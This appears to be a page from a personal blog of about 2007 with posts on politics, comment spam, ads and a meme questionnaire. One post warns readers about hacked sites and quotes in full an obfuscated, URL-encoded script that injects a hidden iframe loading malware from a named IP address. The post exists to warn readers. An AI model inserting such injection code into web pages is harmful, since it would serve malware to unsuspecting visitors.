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What’s wrong with this headline? “Wolfowitz Says Ethics Charges Are Unwarranted”
Maybe I’m being silly, but last I checked, the person being accused of ethical violations didn’t get to decide if charges were warranted or not… It’s that whole ‘questionable judgment’ thing, after all.
Posted by protected static as politics at 6:33 PM UTC
If you get an alert that your browser is trying to download something (anything!) from [81.95.146.98], don’t do it. Why, you ask?
Because it’s probably a Trojan Horse, that’s why!
Here’s the deal – y’all probably know that I help run The Mystery of the Haunted Vampire, right? Well, some of the latest comment spam that we’ve been getting has followed a very particular pattern: .edu and .org sites (legitimate sites) with link spam goodness in support directories, like “files” or “data” or “html” or “images” – whatever. That isn’t too important. The kicker is that these f*ckers are also downloading the main index page and modifying it. Badly set site permissions then allow these spambags to post the modified main page (that looks exactly like the original back) to the main site.
The problem is that this new page is itself a Trojan Horse – it now contains a JavaScript that loads content from another site. Buried within the HTML of the hacked page is something that looks like this:
<script language="javascript"gt; document.write( unescape( '%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34%36%2E
%39%38%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20
%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67
%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E' ) ); </script>That blah%blah%blah represents URL encoding – “unescape” tells the JavaScript to turn that gobbledy-gook back into readable characters, which in turn translates to http://81.95.146.98/index.html. This IP address is owned by a Russian ISP incorporated in Panama.
A Russian-owned ISP incorporated in Panama. Repeat that a couple of times, m’kay?
No, that doesn’t sound suspicious at all, does it?
They’ve changed their tactics a little over the past couple of days. When I first saw this script, they were trying to write borderless, scrolless 1 x 1 frames (ie, invisible) from the site – now, they’re masquerading as various proprietary (but safe-sounding) file formats. Whatever happens, don’t click OK!
How did I find this out? Well, yesterday after going through my standard anti-spam paces of notifying one of the victims that they’d been hacked, I notified the Russian/Panamanian ISP that they had a rogue customer since this was the 3rd or 4th time I’d seen that same IP address embedded in the JavaScript. This evening, I was browsing a random site while looking for possible vacation rentals and got the “Do you want to download this file” message – from the same IP address!
D’oh! It isn’t the IP address that’s rogue – it might be the whole bloody company!
So there you have it, kids. Don’t download anything from Russians working in Panama (God, that sounds like a Warren Zevon song, doesn’t it? Or something out of Gibson. Or Burgess, even). And if anyone from the network in question (rbnnetwork.com) tries to sell you their services, ask ‘em about the spammers that they harbor, ‘kay?
And lastly, if you did click “OK” recently? I hope you’ve a.) got good anti-virus software and b.) got a backup of your critical files. You’re probably going to need both…
[Updated to add: Oh yeah - if you're using Internet Explorer, you're *so* going to need anti-virus software. These f*ckers have been around for a while. Note to self: Russian ISPs in Panama are not to be notified that they have rogue customers - they are the rogue customers.]
Posted by protected static as asshattery, spam at 10:52 PM UTC
In cleaning out this morning’s attempted comment spam, I found something that really gave me pause. I mean, really gave me pause. Nestled in between the typical links for sex, drugs, and rock n’ roll ringtones was a cluster of links for celebrity nudie pix. Standard enough, right?
Smack dab in the middle of those purported celeb nudes? Anna Nicole Smith autopsy photos. Nude, of course.
Bleargh.
I mean, really… WTF? That’s just wrong on so many levels. Me, if I’m looking for skin pics, I prefer them with all their organs in the proper places*. And Y-incisions? A definite turn off. Just a thought.
*re: ‘in the proper places’ – I started to write ‘on the inside’, but strictly speaking, that wouldn’t be entirely true… Unless by ‘on the inside’ we mean… Oh, never mind.
Posted by protected static as asshattery, spam at 9:08 AM UTC
Remember how we were going to train Iraqis to defend themselves against themselves so that we could finally leave? (Don’t over-analyze that statement – but ain’t that the gist of it?) Well, not that this will come as a surprise to anyone who’s been paying attention, but it hasn’t happened, it isn’t happening, and it won’t happen any time soon:
WASHINGTON – Military planners have abandoned the idea that standing up Iraqi troops will enable American soldiers to start coming home soon and now believe that U.S. troops will have to defeat the insurgents and secure control of troubled provinces.Training Iraqi troops, which had been the cornerstone of the Bush administration’s Iraq policy since 2005, has dropped in priority, officials in Baghdad and Washington said.
No change has been announced, and a Pentagon spokesman, Col. Gary Keck, said training Iraqis remains important. “We are just adding another leg to our mission,” Keck said, referring to the greater U.S. role in establishing security that new troops arriving in Iraq will undertake.
“[A]dding another leg” – from where? With what resources? I’m all for changing strategy and tactics when things aren’t working – but so far, I don’t hear anyone publicly talking about what we can do to realistically achieve our ends in Iraq. Hell, do we even have ends? Apart from “Don’t lose,” that is?
We need to stop hoping for ponies under all the horseshit and start dealing with the fact that that all we’ve been given so far is horseshit.
Posted by protected static as politics at 10:17 AM UTC
This morning, after glancing at some fluffy /. chatter about an article on botnets, I decided to go and actually get, you know, some signal instead of noise, and click through to RTFA (as they say). And lo, nestled alongside TFA was one of the dumber ads I’ve seen in a while:
Blurred to protect the innocent stupid.
I just can’t get the phrase “Choke your chicken” to map up with “Struggle with technology”. I checked the site out; geek pr0n it isn’t, so that couldn’t have been the one-handed reference they intended either.
It’s better than tattooed mortgage rates, I suppose – or the revolting bloating woman that was running on Salon recently (I continually find myself astonished that people actually pay for these ads), and there’s no sudden burst of sound or animation when you mouse-over it, so on the scale of things I guess it rates a puzzled WTF? instead of a STOP-DOING-THAT-TO-MY-BROWSER WTF! Still… WTF?
Posted by protected static as geek at 8:54 AM UTC
And probably Los Alamos, or JPL, or DARPA, or some other geeky acronym! According to Amazon’s “Where’s My Stuff” page, the Post Office sent my package back in time:
Talk about your double-edged discovery… On the one hand, it explains much about the US Postal Service. On the other, I’m not sure that our society is ready for this kind of technology.
I thought this article was a good reminder about what ‘evolution’ means – and perhaps more importantly, what it doesn’t:
A comparison of human and chimpanzee genes has revealed a startling possibility: chimps may have evolved more than humans in the 6 or 7 million years since both diverged from a common ancestor.A study comparing human and chimp genes that appear to have evolved since we parted ways shows that humans have about 154 such genes and our nearest primate relative a whopping 233.
Posted by protected static as 30-second science blogging at 8:48 AM UTC
I don’t think there’s really anything of substance I can add to the commentary on the VT shooting tragedy, though this observation caught my attention: the phrase ‘worst mass shooting in America’ might ring a little false if you’re Lakota Sioux.
Posted by protected static as politics at 8:42 AM UTC
Someone needs to clarify their message…
Spam for fake herbal remedy, subject #1:
Spam for same fake herbal remedy, subject #2:
So… Am I joining or separating? Which is it!?
Bonus round! Here’s a bit of advice for the less-discerning Internet shopper: Never buy an online degree from a spammer who uses the word “Unievrsity” in the subject line.
Posted by protected static as spam at 8:34 AM UTC
Ahem. It has come to my attention that I done been tagged. (shakes fist at Carnacki and gives him the ol’ stink-eye…)
FOODOLOGY
Q. What is your salad dressing of choice?
A. Anything that isn’t low-fat.
Q. What is your favorite fast food restaurant?
A. Red Mill Burgers – tho’ they’re more like slow fast food…
Q. What is your favorite sit-down restaurant?
A. Too many. I’ll just pick… Chinooks.
Q. On average, what size tip do you leave at a restaurant?
A. 15-20%
Q. What food could you eat every day for two weeks and not get sick off of?
A. Probaby pizza.
Q. What is your favorite type of gum?
A. Adams’ (now part of Cadbury) Clove Gum. Blackjack is a close second. Neither appears to have been in production for a while, which probably tells you something about how often I chew gum.
TECHNOLOGY
Q. What is your wallpaper on your computer?
A. None. I had a photo from the lava fields at Volcano National Park on my work laptop – but then I needed to start taking screenshots for a documentation project, and I replaced it with a plain background… I just haven’t turned it back on.
Q. How many televisions are in your house?
A. 2
BIOLOGY
Q. What’s your best feature?
A. My sparkling wit and charming personality.
Q. Have you ever had anything removed from your body?
A. Sutures.
Q. Which of your five senses do you think is keenest?
A. Eyesight. Hah! I kid. I’m blind as the proverbial bat. Um, taste?
Q. When was the last time you had a cavity?
A. Probably at this very minute.
Q. What is the heaviest item you lifted last?
A. My kayak.
Q. Have you ever been knocked unconscious?
A. No.
BULLSHITOLOGY
Q. If it were possible, would you want to know the day you were going to die?
A. You mean you don’t know?
Q. Is love for real?
A. Sure.
Q. If you could change your first name, what would you change it to?
A. Too late – the damage is already done on that score…
Q. What color do you think looks best on you?
A. Black.
Q. Have you ever swallowed a non-food item by mistake?
A. By mistake?
Q. Have you ever saved someone’s life?
A. Not that I’m aware of.
Q. Has someone ever saved yours?
A. See previous.
DAREOLOGY
Q. Would you walk naked for a half mile down a public street for $100,000?
A. Sure, why not? (But I’d want to count the money first…)
Q. Would you kiss a member of the same sex for $100?
A. You mean I could get paid for it?
Q. Would you allow one of your little fingers to be cut off for $200,000?
A. No.
Q. Would you never blog again for $50,000?
A. Maybe.
Q. Would you pose nude in a magazine for $250,000?
A. It would depend on the magazine – tho’ I can’t imaging that any that would have me would have a circulation that would let them pay me a quarter mil.
Q. Would you drink an entire bottle of hot sauce for $1,000?
A. Depends upon the hot sauce. Tabasco? No prob. Sumpin’ with some serious habaneros? NFW.
Q. Would you, without fear of punishment, take a human life for $1,000,000?
A. Do I get to choose which human?
Q. Would you give up watching television for a year for $25,000?
A. Yes.
Q. Give up MySpace forever for $30,000?
A. It’s easy to give up something you don’t have anything to do with – sure.
DUMBOLOGY
Q: What is in your left pocket?
A. Keys and a Spyderco folder.
Q: Is Napoleon Dynamite actually a good movie?
A. Beats the hell out of me. My intuition says ‘no.’
Q: Do you have hardwood or carpet in your house?
A. Hardwood.
Q: Do you sit or stand in the shower?
A. Stand.
Q: Could you live with roommates?
A. Yes.
Q: How many pairs of flip-flops do you own?
A. None.
Q: Last time you had a run-in with the cops?
A. A real, honest-to-Ghu, don’t-make-me-take-you-in run-in? Almost a decade.
Q: What do you want to be when you grow up?
A. When I get there, I’ll let you know.
LASTOLOGY
Q: Friend you talked to?
A. My wife.
Q: Last person you called?
A. See previous.
RANDOMOLOGY
Q: First place you went this morning?
A. The kayak shop.
Q: What can you not wait to do?
A. I dunno. I can probably wait for anything.
Q: What’s the last movie you saw?
A. Pan’s Labyrinth
Q: Are you a friendly person?
A. Probably. Don’t tell anyone though, okay?
*Bonus Round!*
1. Why did you start blogging, and what makes you stay with it?
I was pissed off and writing diaries on Daily Kos wasn’t cutting it.
I keep at it for the fame and fortune, of course ;-)
2. How did you become interested in programming?
Sorta fell into it. I did data editing and quality-assurance for a computerized survey outfit, and worked closely with the programmers to make sure that the data their programs produced matched the written specification; we also validated the data as it came in from the field and cleaned it. And cleaned it. And cleaned it. Since the database wasn’t relational, we needed to also write our own software to make sure that there weren’t orphaned records. I started out writing specifications for the automated data-checking. I also realized that I could script a lot of the boring stuff that I had to do, and that I could cobble together text-based menus that would make the VAX/VMS system less scary for the other QA folx. Before I knew it, I was programming the data-checking routines. Then survey components. Then… Holy shit! I’m a programmer!
3. What are the easiest and most challenging things about parenting The Boy?
Easy? He’s really, really smart. Hard? See easy. Other difficult areas: I don’t, well, play well, and I don’t do well when he gets revved up.
4. Where do you think you’ll go kayaking next?
Lake Union or Lake Washington – probably Lake Union.
5. Dracula or Nosferatu?
Nosferatu, no question. Loves me some Expressionist film, I does.
Posted by protected static as random at 9:38 PM UTC
Let’s see: we have a professional asshole, writing about those dirty bloggers, calling them assholes for being, well, assholes. He’s also pissed off because some of these assholes have the temerity to call themselves ‘journalists’. Oh yeah, and mostly he’s pissed off that they won’t use their real names while being assholes:
If you’re going to fire a rocket at someone in a blog post, or anywhere else, at least have the class to use your real name and stand behind your vitriol. Anything less makes you a coward and invalidates whatever bile you’ve spewed.
My name is on this, and I’m calling you gutless if you don’t sign yours. What are you going to do about it, blogger boy?
Why, I think you know exactly what I’m going to do about it: blog about it. And I’m going to call you an asshole.
Asshole.
So, to Tony Long, who feels that having his name on something makes it more important: Fuck you. First, there’s a difference between anonymous and pseudonymous – look it up, or ask your editor to explain it to you in very small words.
Oh, wait – you’re listed as ‘copy chief’, so that means you should already know the difference. Hmmm… What an interestingly deliberate misunderstanding.
Second, not all bloggers have pretensions of being journalists – very few, in fact. I certainly don’t pretend to be a journalist, I’m just some pseudonymous guy with a blog, and the bloggers who do aspire to taking more of a journalist-style role do, in fact, largely hold themselves to many of the same standards as dead tree journalists. Certainly the ones worth reading on a regular basis do. Not all of them use their real names, but so what? Dead tree columns are still written under pseudonyms, too.
What gets under your skin isn’t the fact that some bad (and slapdash) writers happen to hide behind the label of journalist and happen to use rude words; no, what you don’t like is that you no longer have a monopoly on, well, being an asshole. I mean, what else are we going to call a tech columnist who calls themselves “The Luddite”? Really, if that isn’t a textbook case of asshole, I don’t know what is. (It might even cross the line into pretentious asshole.)
See, Tony (and here’s your dirty little secret) – you aren’t a journalist either. You’re an opinion columnist. Oh, you want to be a journalist, but this gives it away: “The Luddite: Commentary by Tony Long.”
Commentary. Not reporting.
Commentary.
Contra your title, the blogosphere isn’t “Where a Tawdry Culture Goes To Die”. Rather, it’s where anyone who wants to take the time to do so can express an opinion, in whatever manner they choose. You’re just another voice, Tony. You’re a voice that has the luxury of being paid to exist. But you aren’t anything special. You’re one voice clamoring for attention among thousands – LOOK AT ME, LOOK AT ME, LOOK AT ME.
And that having to compete really frosts your ‘nads, doesn’t it? You aren’t special. You’re just another asshole with a computer, being an asshole. Just like me. An asshole with a computer, commenting on the things that catch my interest.
So there. I’ve looked at you, and, well, found you wanting. Welcome to the blogosphere, Tony.
Asshole.
Posted by protected static as asshattery, blogging, cultcha, geek at 8:13 AM UTC
“… if your child’s development is somehow going horribly wrong. As I often do when these moments occur, I shook it off and moments later forgot about it entirely.”
Hah. On a (much) lighter note, we have… Pooping Barbie. Read the whole thing, as they say – and really, with a lead-in like that (I mean, really! Pooping Barbie!) how could one not?
Posted by protected static as random at 9:49 AM UTC
So in a moment of boredom at work this afternoon, I Googled the name of my last employer in Saint Louis. I had a pretty good relationship with the owner of the company (if I hadn’t, I wouldn’t have survived – I was her first permanent employee), and I hadn’t been in touch with her in several years. One of the links that came up was to a PDF of some kind of proclamation or resolution passed by the Missouri Legislature. Okay, I thought, she was pretty politically active. Let’s see what’s up…
She’s dead. It was a memorial resolution, passed almost exactly two years one year ago.
Damn.
That it happened wasn’t surprising – the last year that I worked for her, she spent the better part of that year in the hospital fighting off some horrid auto-immune disorder. Still, she wasn’t that old (58 at the time); somehow it caught me by surprise.
Posted by protected static as random at 11:04 PM UTC
